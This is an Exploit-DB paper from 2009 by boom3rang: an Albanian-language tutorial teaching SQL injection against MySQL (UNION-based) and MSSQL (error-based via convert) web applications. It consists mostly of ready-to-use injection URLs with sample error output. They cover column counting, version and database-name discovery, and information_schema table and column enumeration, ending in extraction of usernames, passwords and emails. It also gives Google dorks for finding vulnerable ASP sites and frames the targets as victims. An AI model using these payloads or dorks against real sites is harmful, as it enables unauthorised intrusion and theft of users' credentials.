[Albanian] SQL Injection

EDB-ID:

12899

CVE:

N/A

EDB Verified:
Author:

boom3rang

Type:

papers

Exploit: /
Platform:

Multiple

Date:

2009-07-16

Vulnerable App:
                                                                           [_][-][X] 
      _  ___  _  ___      ___ ___ _____      __  ___ __   __  ___        
     | |/ / || |/ __|___ / __| _ \ __\ \    / / |_  )  \ /  \/ _ \       
     | ' <| __ | (_ |___| (__|   / _| \ \/\/ /   / / () | () \_, /       
     |_|\_\_||_|\___|    \___|_|_\___| \_/\_/   /___\__/ \__/ /_/        
                                                                           
                                                                         
      Red n'black i dress eagle on my chest. 
      It's good to be an ALBANIAN Keep my head up high for that flag i die. 
      Im proud to be an ALBANIAN
   ################################################################### 


       Author         	: boom3rang		 	                  
       Contact        	: boom3rang[at]live.com                          
       Greetz     	: H!tm@N - KHG - cHs

		  R.I.P redc00de

   --------------------------------------------------------------------

1. SQL-injetion-Tutorial
######################

1.1 Cka Ã«shtÃ« SQL-injetion?
1.2 Provo faqen pÃ«r vulnerability!
1.3 Si tÃ« zbulojmÃ« sa numra te kolumnave egzistojnÃ«?
1.4 Provo pÃ«r UNION SELECT funksionin!
1.5 Si tÃ« zbulojmÃ« verzionin e MYSQL-sÃ«?
1.6 Si tÃ« zbulojmÃ« Table_name?
1.7 Si tÃ« zbulojmÃ« Column_name?
1.8 PÃ«rfundim?


  ============================
   1.1 Cka Ã«shtÃ« SQL-injetion?
  ============================

-SQL-injetion Ã«shtÃ« pra njÃ« ndÃ«r metodat mÃ« tÃ« perdorura ditÃ«t e sodit pÃ«r tÃ« marr akses nÃ« ndonjÃ« webfaqe. 
Kjo metodÃ« i jep leje sulmuesit qÃ« tÃ« sulmon pÃ«rmes URL-sÃ«. 
Me  kÃ«tÃ« metodÃ« sulmuesi ka mundÃ«si tÃ« marrÃ« informata tÃ« ndryshme nga MYSQL-sÃ«,(username,passwords), logins tÃ« ndryshÃ«m, akses nÃ«pÃ«r faqe tÃ« administrimit, CC  etj...



  ====================================
   1.2 Provo faqen pÃ«r vulnerability!!
  ====================================

TÃ« themi se kemi dicka tÃ« till:

------------------------------------
http://www.site.com/vesti.php?id=1
------------------------------------


Tani qÃ« tÃ« testojm se a Ã«shtÃ« faqa vulnerability, apo thjesht a ka buggs shkojm dhe ja shtojm (') pra presjen lart, e cila do tÃ« duket kÃ«shtu:

------------------------------------
http://www.site.com/vesti.php?id=1'
------------------------------------

Pra pas kÃ«tij veprimi, nÃ«se na jepÃ« ndonjÃ« error si psh.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
"You have an error in your SQL syntax;" ose "Warning: mysql_result() [function.mysql-result]:"
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Me kÃ«tÃ« nÃ«nkuptohet se faqja Ã«shtÃ« vulnerability, pra ka lÃ«shime!




  =====================================================
   1.3 Si tÃ« zbulojmÃ« sa numra te kolumnave egzistojnÃ«?
  =====================================================

PÃ«r tÃ« gjetur sa sa Kolumna kemi pÃ«rdorim: ORDER BY
Pra "order by" pa presje do tÃ« na ndihmon tÃ« gjejmÃ« se sa kolumna kemi ne faqen viktimes, shkojm me shembull:

-----------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 1--     <-->     Hapet faqja normal pra nuk na jep Error
-----------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 2--     <-->     Hapet faqja normal pra nuk na jep Error
-----------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 3--     <-->     Hapet faqja normal pra nuk na jep Error
-----------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 4--     <-->     Hapet faqja normal pra nuk na jep Error
-----------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 5--     <-->     Error page - Pra kÃ«tu kemi error!
-----------------------------------------------------------------------------------------------------

-Me kÃ«tÃ« nÃ«nkuptojm se tek kjo faqe kemi 4 Kolumna, pra e marim numrin e fundit i cili nuk jep error!



  =======================================
   1.4 Provo pÃ«r UNION SELECT funksionin!
  =======================================

Pra tani do tÃ« provojmÃ« qÃ« tÃ« nxjerim numrat e kolumnave dhe tÃ« dhenat tjera nÃ« dritare, pÃ«rmes "Union select".

NÃ«se kemi 4 numra te kolumnave nÃ« shembull, do tÃ« dukej dicka e tillÃ«:

---------------------------------------------------------------
http://www.site.com/vesti.php?id=1 union select 1,2,3,4--
---------------------------------------------------------------

NÃ«se tek dritarja na shfaqen ndonjeri prej numrave prej 1-4 atÃ«herÃ« mirÃ« Ã«shtÃ« dhe funksionon krejt nÃ« rregull por nÃ« qoft se jo atÃ«here provoni tÃ« ja shtoni nji - (minus) perpara tek "1(njÃ«shi)" i parÃ« pra, numrat munden tÃ« ndryshojnÃ« mundÃ« tÃ« jenÃ« 50,71,9999 etj shembull:

-------------------------------------------------------------------
http://www.site.com/vesti.php?id=-50 union select 1,2,3,4--
-------------------------------------------------------------------
http://www.site.com/vesti.php?id=-71 union select 1,2,3,4--
-------------------------------------------------------------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,3,4--
-------------------------------------------------------------------

Tani duhet tÃ« shfaqet ndonjÃ«ri prej 4 numrave prej 1-4. 
NÃ«se shfaqet ndonjeri prej kÃ«tyre numrave atÃ«here gjithcka Ã«shtÃ« nÃ« rregull!



  =========================================
   1.5 Si tÃ« zbulojmÃ« verzionin e MYSQL-sÃ«?
  =========================================

Si tÃ« zbulojmÃ« verzionin e mysql-sÃ« Ã«shtÃ« lehtÃ«, kÃ«te mundemi te bejme duke zevendesuar numrin e kolumnes me kete "@@version".
MÃ« pas duhet tÃ« na shfaqet se cfar verzioni eshte prezente ne faqen e viktimes.
TÃ« themi se numri i cili shfaqet ne dritare eshte 3-shi, per te treguar me qarte do ju tregoj me shembullin me poshte.

--------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,@@version,4--
--------------------------------------------------------------------------

Dhe tani me do te na shfaqet versionin ne dritare. 
Duhet cekur se tek verzioni 5.x.x , kemi mundesi te marrim tabelat&kolumnat duke perdorur funksionin "INFORMATION_SCHEMA" kurse tek verzionet me te vjetra kjo mundesi apo funksion nuk egziston.
 


  =============================
   1.6 Si tÃ« zbulojmÃ« Table_name?
  =============================

Sic kam cekur dhe me larte se egziston nje problem i vogel tek verzionet e vjetra te MYSQL-se (4.x.x. 3.x.x etj.)
Per kete arsye do ju tregoj njeher si duhet vepruar nese verzioni i mysql-se eshte 4.x.x e me pas per versionet 5.x.x.

VERSION 4.x.x
Per te gjetur table_name tek verzionet e vjetra(4.x.x, 3.x.x) skemi ndonje menyre te avancuar, pervec qe te provojmÃ« permendsh tabelat dhe duke perdorur pak logjiken.
Per keto verzione preferohet te merrni nje list te madhe te tabelave dhe ti provoni.
Si tabela me te perdorura jane: users, user, admin, admins , member , members, login, administrators, mysql.user etj..

VERSION 5.x.x
Tani nese e vereni se faqja ka versionin 5.x.x eshte lehte pasi qe tani kemi mundesi te vendosim ne perdorim funksionin "INFORMATION_SCHEMA.TABLES" per te zbuluar tabelat dhe "INFORMATION_SCHEMA.COLUMNS" kolumnat.

Per te gjetur tabelat shkojme si tek shembulli me poshte:

----------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,table_name,4+from+information_schema.tables--
----------------------------------------------------------------------------------------------------------

Pra table_name e zevendesojme me numrin qe na shfaqet ne dritare, dhe me pas duhet te na shafqen tabela.



  ===============================
   1.7 Si tÃ« zbulojmÃ« Column_name?
  ===============================
E njejta gje vlen edhe per gjetjen e kolumnave(column_name) sikur tek table_name!

VERSION 4.x.x
Si kolumna me te perdorura jane: username , usern , user_name , usr , usn , pass , password , passwd , pwd , email , emailadress etj...

VERSION 5.x.x
Per te zbuluar emrat e kolumnave sic thash dhe me pare eshte njesoj sikur tek pjesa e tabela vetem se ne kete rast, ne vend ku shkruan tables duhet vendosur column/s.

Shkojm te shfaqim me shembull edhe kete:
-----------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-82 union select 1,2,column_name,4+from+information_schema.columns--
-----------------------------------------------------------------------------------------------------------

Tani per te zgjedhur vetem nje tabel dhe per ti zbuluar vetem emrat e kolumnave te saj shkojme si ne shembullin:

----------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-82 union select 1,2,column_name,4+from+information_schema.columns+where+table_name=USERS--
----------------------------------------------------------------------------------------------------------------------------------

Dmth ne kete rast do te shfaqen vetem column_name per tabelen "Users" .


Tani per fund, te themi qÃ« table_name Ã«shtÃ« (users) dhe column_name jane(username, password, email).

Ja keshtu duhet vepruar qe te na shfaqen te dhenat nga MYSQL:

-----------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-71 union select 1,2,concat(username,char(58),password,char(58),email),4 from users--
-----------------------------------------------------------------------------------------------------------------------------

Concat() = Perdoret per te bashkur 2,3.. ose me shum kolumna ne nje vendÃ«.
CHAR(58) = Jane dy pika(:) qe bejne ndarjen ne mes column_name(sÃ«)!



  ================
   1.8 PÃ«rfundim?
  ================

Dhe si pÃ«rfundim do i postoj te gjith linqet ne nje vend qe te keni me leht per tu bazuar!

==============================================================================================================================
http://www.site.com/vesti.php?id=1
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1'
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 1--     <-->     Hapet faqja normal pra nuk na jep Error
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 2--     <-->     Hapet faqja normal pra nuk na jep Error
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 3--     <-->     Hapet faqja normal pra nuk na jep Error
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 4--     <-->     Hapet faqja normal pra nuk na jep Error
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 5--     <-->     Error page - Pra kÃ«tu kemi error!
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 union select 1,2,3,4--
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,3,4--
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,@@version,4--
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,table_name,4+from+information_schema.tables--
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-82 union select 1,2,column_name,4+from+information_schema.columns--
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-82 union select 1,2,column_name,4+from+information_schema.columns+where+table_name=USERS--
------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-71 union select 1,2,concat(username,char(58),password,char(58),email),4 from users--
==============================================================================================================================


____________________________________________________________________________________________________________________________________
####################################################################################################################################



2. MSSQL - injection, Metoda e sulmit!
######################################

2.1 Hyrje
2.2 Si tÃ« kÃ«rkojmÃ« faqe vulnerability?
2.3 Si tÃ« provojmÃ« se a Ã«shtÃ« faqja vulnerability?
2.4 Si tÃ« zbulojmÃ« verzionin/emrin e DB-sÃ«?
2.5 Si tÃ« zbulojmÃ«, emrat e tabelave(table_name)?
2.6 Si tÃ« zbulojmÃ«, emrat e kolumnave(column_name)?
2.7 Si tÃ« marrim tÃ« dhÃ«nat nga tabelat qÃ« na interesojnÃ«(psh. username,pass, email etj)?
2.8 PÃ«rfundimi?



     [ 2.1 HYRJE ]
    ###############

PÃ«rshÃ«detje!
NÃ« kÃ«tÃ« mÃ«sim, do tÃ« mundohem qÃ« tÃ« ju shpjegoj pÃ«r njÃ« teknikÃ« tjetÃ«r tashmÃ« tÃ« njohur, MSSQL-injection.
Dmth do tÃ« keni rastin tÃ« mÃ«soni se si pÃ«rdoret kjo metodÃ«, si veprohet pÃ«t te marrÃ« tÃ« dhÃ«na (username, password, ose logins) ose info tjera tÃ« ndryshme pÃ«rmes kesaj teknike.
MSSQL-injection, mundemi tÃ« pÃ«rdorim pÃ«r produktet tÃ« cilat janÃ« tÃ« krijuar nga kompania e njohur Microsoft.
Ky lloj i injection, pra merret me ato faqe tÃ« cilat janÃ« tÃ« koduara ne ASP/ASPX etj.

EgzistojnÃ« disa lloje tÃ« sulmeve pÃ«r kÃ«tÃ« metode si:

 * - MSSQL Normal SQL Injection Attack
 * - MSSQL Injection in web Services (SOAP Injection)
 * - MSSQL Injection with UNION Attack
 * - ODBC Error Message Attack with "CONVERT"
 * - MSSQL Blind SQL Injection Attack etj..

PÃ«r kÃ«tÃ« shkrimÃ« do tÃ« pÃ«rdorim kÃ«tÃ« lloj tÃ« sulmit:  
"ODBC Error Message Attack with "CONVERT"


    
     [ 2.2 Si tÃ« kÃ«rkojmÃ« faqe vulnerability? ]
    ############################################

Si tÃ« kÃ«rkojmÃ« faqe tÃ« cilat janÃ« vulnerability, Ã«shtÃ« lehtÃ«. KÃ«tÃ« mundemi tÃ« bÃ«jmÃ« duke pÃ«rdorur shÃ«rbimet e kompanisÃ« gigante GOOGLE.

ShkojmÃ« hapim:    www.google.com  

Dhe shkruajmÃ« psh:    inurl:".asp" "id"  
                      inurl:"news.asp" "menu"  
                      inurl:"content.asp" "sub"
                      inurl:"games.asp" "id"             
                      ETJ....(UnÃ« vendosa disa shembujÃ«, tash ti pÃ«rdorÃ« logjiken, pÃ«r dorks mÃ« tÃ« mira)





     [ 2.3 Si tÃ« provojmÃ« se a Ã«shtÃ« faqja vulnerability? ]
    ########################################################

KÃ«tÃ« gjÃ« mundemi tÃ« kuptojmÃ« shumÃ« lehtÃ« duke shtuar pas id-sÃ« sÃ« faqes njÃ« presje larte ('). 
Dhe nÃ« rastÃ« se na jep reply duke na shfaqur ndonjÃ« error nÃ«nkuptohet se faqja Ã«shtÃ« vulnerability psh:

++++++++++++++++++++++++++++++++++++++
/ODBC Microsoft Access Driver/
++++++++++++++++++++++++++++++++++++++
/Unclosed quotation mark/
++++++++++++++++++++++++++++++++++++++
/Microsoft OLE DB Provider for Oracle/
++++++++++++++++++++++++++++++++++++++
/Division by zero in/
++++++++++++++++++++++++++++++++++++++

KÃ«to janÃ« disa nga pÃ«rgjigjet mÃ« tÃ« shpeshta qÃ« shfaqen nÃ«pÃ«r faqe tÃ« cilat janÃ« vulnerability, pÃ«r MSSQL - injection.

Tani si duhet vepruar ja njÃ« shembull, pra ku duhet tÃ« vendosim presjen lartÃ«(').

psh:
--------------------------------------
www.localhost.com/lajmi.asp?id=100'
--------------------------------------

Tani tÃ« themi se na Ã«shtÃ« shfaqur njÃ« gabimÃ«:

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark after the character string ') AND (Volgorde > 0) ORDER BY Volgorde'.

/msn/shared/includes/main_rub.asp, line 4 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Dmth faqja Ã«shtÃ« vulnerability!




      [ 2.4 Si tÃ« zbulojmÃ« verzionin/emrin e DB-sÃ«? ]
     #################################################

ShkojmÃ« me shembull pÃ«r tÃ« kuptuar mÃ« lehtÃ«:

Version:
--------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(@@version))--
--------------------------------------------------------------------

Dhe do na paraqitet psh:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP1) - 10.0.2531.0 (X64) Mar 29 2009 10:11:52 Copyright (c) 1988-2008 Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.0 <X64> (Build 6002: Service Pack 2) (VM) ' to data type int.

/msn/shared/includes/main_rub.asp, line 4 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Tani pÃ«r tÃ« zbuluar Db_Name shkojmÃ«:
---------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(db_name()))--
---------------------------------------------------------------------

psh.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'KHG_CREW_DB' to data type int.

/msn/shared/includes/main_rub.asp, line 4  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++




      [ 2.5 Si tÃ« zbulojmÃ«, emrat e tabelave(table_name) ]
     ######################################################

Per tÃ« zbuluar apo thjesht pÃ«r tÃ« gjetur tabelat e ndonjÃ« faqe pÃ«rmes kÃ«saj metode shkojmÃ«.

psh:
------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables))--
------------------------------------------------------------------------------------------------------------------
Dhe tani do te shfaqet nje error si psh:

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'Users' to data type int.

/msn/shared/includes/main_rub.asp, line 4 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Dmth nÃ« kÃ«tÃ« rastÃ« tabela(table_name) e parÃ« Ã«shtÃ« 'Users' , tani pÃ«r tÃ« gjetur shkojmÃ« tabelÃ«n e radhÃ«s:

psh:
----------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users')))--
----------------------------------------------------------------------------------------------------------------------------------------------------

Dhe tani do shfaqet nje error i njejt dhe do tÃ« jep tabelÃ«n e dytÃ«:

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'lajmet' to data type int.

/msn/shared/includes/main_rub.asp, line 4 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Tabela tjetÃ«r nÃ« kÃ«tÃ« rastÃ« Ã«shtÃ« 'lajmet'

Tani pÃ«r tÃ« gjetur tabelen(table_name) e tretÃ« shkojmÃ« kÃ«shtu:

psh:
---------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users' , 'lajmet')))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------

Dhe do na shfaqet tabela e tretÃ«:

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'categories' to data type int.

/msn/shared/includes/main_rub.asp, line 4
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Tabela e tretÃ« Ã«shtÃ« pra 'categories', dhe vazhdojmÃ« kÃ«shtu me radhÃ« deri sa ti zbulojmÃ« tÃ« gjitha tabelat.

psh:
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users' , 'lajmet' , 'categories')))--
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------




     [ 2.6 Si tÃ« zbulojmÃ«, emrat e kolumnave(column_name) ]
    ########################################################


-NÃ«se duam tÃ« nxjerim column_name pÃ«r tabelÃ«n 'Users' shkojmÃ«:

psh:
---------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Users'))--
---------------------------------------------------------------------------------------------------------------------------------------------
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'Username' to data type int.

/msn/shared/includes/main_rub.asp, line 4
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Pra emrin i kolumnÃ«s sÃ« parÃ« pÃ«r tabelÃ«n(table_name) 'Users' Ã«shtÃ« 'username'

Tani shkojmÃ« tÃ« gjejmÃ« kolumnÃ«n(column_name) e dytÃ« pÃ«r tabelÃ«n e njejtÃ« 'Users':

psh:
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Users' and column_name not in ('username')))--
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'password' to data type int.

/msn/shared/includes/main_rub.asp, line 4
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Emri i kolumnes(column_name) sÃ« dytÃ« Ã«shtÃ« 'password', tani shkojmÃ« tÃ« gjejmÃ« column_name e rradhÃ«s:

psh:
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Users' and column_name not in ('username' , 'password')))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'emailaddress' to data type int.

/msn/shared/includes/main_rub.asp, line 4
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Colum_name e tretÃ« Ã«shtÃ« pra 'emailaddress' dhe kÃ«shtu vazhdojmÃ« me radhÃ« deri nÃ« fund, deri pra sa ti gjejm tÃ« gjitha kolumnat(column_name)!





     [ 2.7 Si tÃ« marrim tÃ« dhÃ«nat qÃ« na interesojnÃ«(username,pass, email etj) ]
    ############################################################################

PÃ«r tÃ« bÃ«rÃ« njÃ« gjÃ« tÃ« till nuk kemi ndonjÃ« gjÃ« ndyshe nga se kemi cekur mÃ« parÃ«. 
NÃ« kÃ«tÃ« pjesÃ« e tÃ«ra qÃ« duhet bÃ«rÃ« Ã«shtÃ« tÃ« zevenÃ«sojmÃ« tabelen(table_name) dhe emrat e kolumnave(column_name) nÃ«pÃ«r vendet e tyre qÃ« mÃ« parÃ« i kemi gjetur.

PÃ«r kÃ«tÃ« pjesÃ« do ti pÃ«rdorim:
Table_name = Users
Column_name = username , password , emailaddress !

ShkojmÃ« tani ti zÃ«vendÃ«sojmÃ« psh:
-------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 username from Users))--
-------------------------------------------------------------------------------------------
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'Admin' to data type int.

/msn/shared/includes/main_rub.asp, line 4
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

username: Admin

ZÃ«vendÃ«sojmÃ« tani kolumnÃ«n e parÃ« "username" me kolumnÃ«n e dytÃ« "password":

psh:
-------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 password from Users))--
-------------------------------------------------------------------------------------------

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value '123456' to data type int.

/msn/shared/includes/main_rub.asp, line 4
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

password: 123456

Tani pÃ«r tÃ« zÃ«vendÃ«suar kolumnat e rradhÃ«s veprojmÃ« njÃ«soj, si mÃ« lartÃ«:

psh:
-----------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 emailaddress from Users))--
-----------------------------------------------------------------------------------------------

emailaddress: boom3rang@live.com

Ja pra kemi arritur tÃ« marrim disa nga info-tÃ«, si username/pass dhe emailaddress e njÃ« faqe.

username: Admin
password: 123456
emailaddress: boom3rang@live.com


     [ 2.8 PÃ«rfundim ]
    ###################

Dhe ketu si pÃ«rfundim do i postojm tÃ« gjitha linqet!

=============================================================================================================================================================================================
www.localhost.com/lajmi.asp?id=100'
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(@@version))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(db_name()))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users')))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users' , 'lajmet')))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users' , 'lajmet' , 'categories')))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Users'))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Users' and column_name not in ('username')))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Users' and column_name not in ('username' , 'password')))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 username from Users))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 password from Users))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 emailaddress from Users))--
=============================================================================================================================================================================================


####################################################
[>>] Special Greetz: milw0rm - KHG-CREW - TT-AL 
####################################################

# milw0rm.com [2009-07-16]
Tags:
Advisory/Source: Link
Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services